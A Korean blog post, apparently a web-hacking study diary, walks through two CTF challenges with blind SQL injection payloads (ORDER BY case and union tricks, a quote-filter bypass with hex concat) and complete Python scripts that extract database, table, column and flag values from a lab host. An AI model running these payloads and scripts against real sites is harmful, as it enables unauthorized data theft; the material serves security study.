3. flag를 찾아라
1) SQL Injection 포인트 찾기
이번 챌린지에서는 oder by 절에도 SQL Injection이 가능하다는 것을 확인했었습니다.
이때 사용한 것이 case when 이었습니다.
case when (조건) then title else username end 를 사용하여 정렬 기능을 참일 경우에는 title로 거짓일 경우에는 username으로 실행하게 하여 서로 결과가 다른것으로 참과 거짓을 구별하여 SQl Injection을 사용할 수 있습니다.
2) select 사용 가능 확인
두 결과가 다르기 때문에 Blind SQL Injection을 사용할 수 있습니다.
3) 공격 format 만들기
select * from board option_val like '%board_result' and (날짜) order by sort
이런식으로 서버측 쿼리가 만들어져있을 것이라고 예측할 수 있습니다.
# case when ord(substr((__SQL__),1,1))=0 then title else username end 입력
select * from board option_val like '%board_result' and (날짜)
order by case when ord(substr((__SQL__),1,1))=0 then title else username end
이렇게 공격 format을 만들면 우리가 원하는 SQL 을 입력하면 해당 단어의 첫글자를 구할 수 있고 나머지 글자도 반복해서 알 수 있습니다.
하지만, 우리가 만든 자동화에서는 단어가 결과에서 해당단어가 포함되는지 확인하여 참과 거짓을 확인하기 때문에 위와 같이 사용하면 순서만 바껴서 출력되고 포함되는 단어가 같습니다.
# (select 1 union select 2 where ord(substr((__SQL__),1,1)) = 0) 입력
select * from board option_val like '%board_result' and (날짜)
order by (select 1 union select 2 where ord(substr((__SQL__),1,1)) = 0)
이렇게 입력하여 거짓일 경우 에러를 발생하여 결과가 안나오게 하여 찾을 것입니다.
사진과 같이 조건이 참이되면 order by (select 1 union select 2) 가 되어 결과가 나오지 않는 것을 확인할 수 있습니다.
그럼 이것을 활용하여 포함되어있는지로 판단하는 우리가 만든 자동화를 사용하면 됩니다.
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_8/notice_list.php"
params = {
'option_val': 'username',
'board_result': 'q',
'board_search': '%F0%9F%94%8D',
'date_from': '',
'date_to': '',
'sort':'title'
}
cookie = {
'session' : '9d78d9a6-4e92-42d8-8fa8-5e7b128affe2.LeAXQIHTbPbLnlQcntYAUKv4GSc',
'PHPSESSID' : '5v5btcd7saf8rmhi9qqsm58tl2',
}
# 우리가 원하는 단어가 나올때가 참인지 아닐때가 참인지 확인하는 함수
def conditionIsTrue(mode, word, response):
if mode == 'success':
if word in (response.text): return True
else: return False
elif mode == 'fail':
if word in (response.text): return False
else: return True
def searchDatabaseWithSql(sql, url, params={}, cookie={}):
result = ''
i = 0
user = 'username'
# SQLI Point
sqliPoint = 'sort'
checkMode = 'fail'
checkWord = 'qwer'
# 공격 포맷을 미리 만들어 필요한 부분만 변경
format = '(select 1 union select 2 where ord(substr(({sql}),{i},1)) {compare} {center})'
while(True):
ascii = [33, 127]
i += 1
# (select 1 union select 2 where ord(substr((__SQL__),1,1)) > 0)
attackFormat = format.format(sql=sql, i=i, compare='>', center=0)
params[sqliPoint] = attackFormat
response = requests.post(url, data=params, cookies=cookie)
if not conditionIsTrue(checkMode, checkWord, response):
break
while(True):
center = int(sum(ascii) // 2)
# (select 1 union select 2 where ord(substr((__SQL__),1,1)) > 0)
attackFormat = format.format(sql=sql, i=i, compare='>', center=center)
params[sqliPoint] = attackFormat
response = requests.post(url, data=params, cookies=cookie)
if conditionIsTrue(checkMode, checkWord, response):
ascii[0] = center
else: ascii[1] = center
if ascii[1]-ascii[0] == 1:
# (select 1 union select 2 where ord(substr((__SQL__),i,1)) = ascii[0])
attackFormat = format.format(sql=sql, i=i, compare='=', center=ascii[0])
params[sqliPoint] = attackFormat
print(attackFormat)
response = requests.post(url, data=params, cookies=cookie)
if conditionIsTrue(checkMode, checkWord, response):
result += chr(ascii[0])
break
else:
result += chr(ascii[1])
break
return result
조금 변경한 부분이 저번에는 조건이 참일 때 우리가 원하는 단어가 출력되었지만, 이번에는 조건이 실패할 때 우리가 원하는 단어가 출력됩니다. 그래서 두 조건을 따로 분류해 조건이 참인지 거짓인지 비교하는 함수 (conditionIsTrue)를 만들었습니다.
그리고, SQL Injection이 가능한 부분이 계속 바뀌기 때문에 이부분도 초반에 설정하여 뒤에 있는 코드는 수정할 필요없게 하였습니다.
또한, 매번 바뀌는 공격 포맷을 한번만 변경해도 되게 초반에 공격 포맷을 설정해놓고 변경되는 우리가 비교하는 부분만 포맷팅하면 되게 코드를 수정하였습니다.
매 챌린지할때마다 최소한의 수정으로 챌린지마다 적용할 수 있게되고 있는 것 같습니다.
4) 데이터베이스 이름 확인
5) 테이블 이름 확인
6) 컬럼 이름 확인
7) 데이터 추출
나머지 부분은 계속 반복이라 뛰어넘겠습니다.
4. flag를 찾아라
1) SQL Injection 포인트 찾기
게시판 검색기능에서 우리가 전달한 데이터를 통해 해당 조건에 맞는 게시판 가져오는 SQL 을 실행할 것이라고 판단했습니다.
즉, 이 부분에서 DB와 연결되어 있을 것이다! 생각할 수 있습니다.
앞의 챌린지들과 마찬가지로 option_val의 컬럼에 board_result의 단어가 포함되어있는 게시판을 가져옵니다.
사진에서 보시다시피 option_val 부분에 1=1 and username을 넣으니 1=1 and 를 SQL 문법으로 인식하여 참이되고 그냥 username만 보낼경우와 같은 결과가 출력됩니다.
당연 1=2 and username을 넣으면 and 앞부분의 조건이 거짓이 되어 전체 조건이 거짓이 되어 결과가 나오지 않습니다.
그럼 이부분에서 참과 거짓의 조건에 따라 결과가 다르니 SQL Injection이 가능할 것 같습니다.
2) select 가능 확인
오잉?? (select 'test')='test' 로 조건을 참이게 만들어줬는데도 결과가 나오지 않습니다...
select를 사용할 수 없으면 우리가 원하는 데이터를 데이터베이스에서 검색할 수 없는데 말이죠...
그런데 (select 1)=1 은 또 가능합니다.. 여기서 제가 생각한 것이 따옴표(')를 사용할 수 없구나 생각했습니다. 두 가지 다른점은 ' 밖에 없었으니까요
일단 select 는 가능하지만 우리는 ' 를 사용하지 않고 데이터를 가져와야합니다.
3) 공격 format 만들기
참과 거짓의 결과가 다르기 때문에 Blind SQL Injection 을 사용하면 됩니다.
select * from board where option_val like '%board_result%' and (날짜)
앞의 챌린지들과 똑같이 이렇게 서버측 코드가 작성되어있다고 추측할 수 있습니다.
# (ord(subtr((__SQL__),1,1)) > 0) 입력
select * from board where (ord(subtr((__SQL__),1,1)) > 0) like '%board_result%' and (날짜)
이제 SQL 문을 작성할 때 ' 문자만 사용하지 않고 자동화를 실행하면 됩니다.
import requests
url = "http://ctf.segfaulthub.com:7777/sqli_9/notice_list.php"
params = {
'option_val': 'username',
'board_result': 'q',
'board_search': '%F0%9F%94%8D',
'date_from': '',
'date_to': '',
}
cookie = {
'user': 'qwer',
'session' : '4cd408f8-1db2-4f08-9a87-9e62f301084b.gtDXR76hHQbJ36g81_QLEm2QeVM',
'PHPSESSID' : '846bn8d22ejhof3n4d8mndedmf',
}
def searchDatabaseWithSql(sql, url, params={}, cookie={}):
result = ''
i = 0
sqlPoint = 'option_val'
checkMode = 'success'
checkWord = 'qwer'
# 공격 포맷을 미리 만들어 필요한 부분만 변경
format = "(ord(substr(({sql}),{i},1)) {compare} {center}) and username"
while(True):
ascii = [33, 127]
i += 1
# (select 1 union select 2 where ord(substr((__SQL__),1,1)) > 0)
attackFormat = format.format(sql=sql, i=i, compare='>', center=0)
params[sqlPoint] = attackFormat
response = requests.post(url, data=params, cookies=cookie)
if not conditionIsTrue(checkMode, checkWord, response):
break
while(True):
center = int(sum(ascii) // 2)
# (select 1 union select 2 where ord(substr((__SQL__),1,1)) > 0)
attackFormat = format.format(sql=sql, i=i, compare='>', center=center)
params[sqlPoint] = attackFormat
response = requests.post(url, data=params, cookies=cookie)
if conditionIsTrue(checkMode, checkWord, response):
ascii[0] = center
else: ascii[1] = center
if ascii[1]-ascii[0] == 1:
# (select 1 union select 2 where ord(substr((__SQL__),i,1)) = ascii[0])
attackFormat = format.format(sql=sql, i=i, compare='=', center=ascii[0])
params[sqlPoint] = attackFormat
response = requests.post(url, data=params, cookies=cookie)
if conditionIsTrue(checkMode, checkWord, response):
result += chr(ascii[0])
break
else:
result += chr(ascii[1])
break
return result
코드에 기본적으로 대상에 대한 url, param, cookie를 바꿔주고 sqlPoint, checkMode, checkWord, format 만 바꿔주면 똑같이 적용할 수 있습니다.
매번 바꿔주기 귀찮은데 이렇게 해놓으니 편하긴합니다...
4) DB 이름 확인
select schema_name from information_schema.schemata
위 코드를 사용하면 데이터베이스 이름들을 확인할 수 있습니다. 다행히 '는 들어가지 않아 그냥 사용해주면 될 것 같습니다.
dbList = []
i = 0
while(True):
sql = f"select schema_name from information_schema.schemata limit {i}, 1"
dbName = searchDatabaseWithSql(sql,url,params, cookie)
i += 1
if dbName == 'information_schema': continue
if not dbName: break
dbList.append(dbName)
print(dbList)
dbLIst 결과 => ['sqli_9']
데이터베이스 이름 |
sqli_9 |
5) Table 이름 확인
select table_name from information_schema.tables where table_schema='sqli_9'
위 코드를 사용하면 해당 데이터베이스의 테이블 이름을 가져올 수 있습니다.
하지만, '가 들어가 결과가 나오지 않습니다.
select database()를 하면 sqli_9와 똑같은 결과를 만들 수 있습니다.
select table_name from information_schema.tables where table_schema=(select database())
이렇게 사용하여 table_schema가 현재 데이터베이스인 테이블이름만 가져오게 할 수 있습니다.
dbList = ['sqli_9']
tableList={}
for dbName in dbList:
i = 0
while(True):
sql = f"select table_name from information_schema.tables where table_schema=(select database()) limit {i}, 1"
tableName = searchDatabaseWithSql(sql, url, params, cookie)
i+=1
print(tableName)
if not tableName: break
if dbName in tableList:
tableList[dbName].append(tableName)
else:
tableList[dbName] = [tableName]
print(tableList)
tableList 결과 => {'sqli_9': ['board', 'flagHere', 'member']}
테이블 이름 |
board |
flagHere |
member |
6) 컬럼 이름 확인
아마도 flagHere 테이블에 flag가 있을 것입니다.
select column_name from information_schema.columns where table_name='flagHere'
이렇게 작성하면 컬럼이름을 확인할 수 있지만 '가 들어가 결과가 나오지 않습니다.
그래서 처음에는 위와 똑같이 select 해서 찾은 테이블을 넣으려고 하였는데 sql 이 길어져 생각한 것이 concat을 사용하는 것입니다.
concat은 문자열을 합쳐주는 기능을 합니다. 하지만 우리가 Error Based SQLI 를 할 때 0x3a로 아스키에 해당하는 문자로 합칠 수 있었습니다. 우리는 이것을 사용하여 flagHere이라는 문자를 만들어 대신 넣어주면 됩니다.
버프 스위트에 인코딩 기능을 사용하여 flagHere를 아스키로 인코딩하였습니다.
결과가 위와 같이 나오는데 두 개의 숫자가 하나의 문자를 표현합니다
concat(0x66,0x6c,0x61,0x67,0x48,0x65,0x72,0x65) 이렇게 작성하면 flagHere이라는 문자를 만들 수 있습니다.
select column_name from information_schema.columns where table_name=(select concat(0x66,0x6c,0x61,0x67,0x48,0x65,0x72,0x65))
그렇게 SQL 문은 위처럼 만들 수 있습니다.
tableList={'sqli_9': ['board', 'flagHere', 'member']}
columnList={}
for db, table in tableList.items():
for tableName in table:
i = 0
while(True):
sql = f"select column_name from information_schema.columns where table_name=(select concat(0x66,0x6c,0x61,0x67,0x48,0x65,0x72,0x65)) limit {i}, 1"
columnName = searchDatabaseWithSql(sql, url,params, cookie)
i+=1
print(columnName)
if not columnName: break
if tableName in columnList:
columnList[tableName].append(columnName)
else:
columnList[tableName] = [columnName]
print(columnList)
columnList 결과 => {'flagHere': ['idx', 'flag']}
컬럼 이름 |
idx |
flag |
7) 데이터 추출
이제 flagHere 테이블의 flag 컬럼을 확인하면 됩니다.
select flag from flagHere
여기는 '가 쓰이지 않네요. 그냥 바로 자동화 돌리면 될 것 같습니다.
result = []
i=0
while(True):
sql = f"select flag from flagHere limit {i}, 1"
flag = searchDatabaseWithSql(sql, url, params, cookie)
i += 1
if not flag: break
result.append(flag)
print(result)
flag를 찾았습니다.
이렇게 마지막 챌린지에는 필터링까지있어 한번 더 생각을 해야했었습니다.
이번 주차까지해서 SQL Injection을 마무리했습니다. 다음 주차부터는 새로은 기법을 알아본다고하니 기대가 됩니다. ㅎㅎ
그럼 다음주차에 뵙겠습니다.
'웹 해킹' 카테고리의 다른 글
웹 해킹 공부 일기장 6- 1 (XSS) (0) | 2023.12.29 |
---|---|
웹 해킹 공부하기 5 - 1 (XSS) (2) | 2023.12.22 |
웹 해킹 공부일기장 4 - 과제 (2) | 2023.12.16 |
웹 해킹 공부일기장 4 - 1 (SQL Injection 포인트 찾기) (0) | 2023.12.15 |
웹 해킹 공부일기장 4 - 2 (SQL Injection 정리) (2) | 2023.12.14 |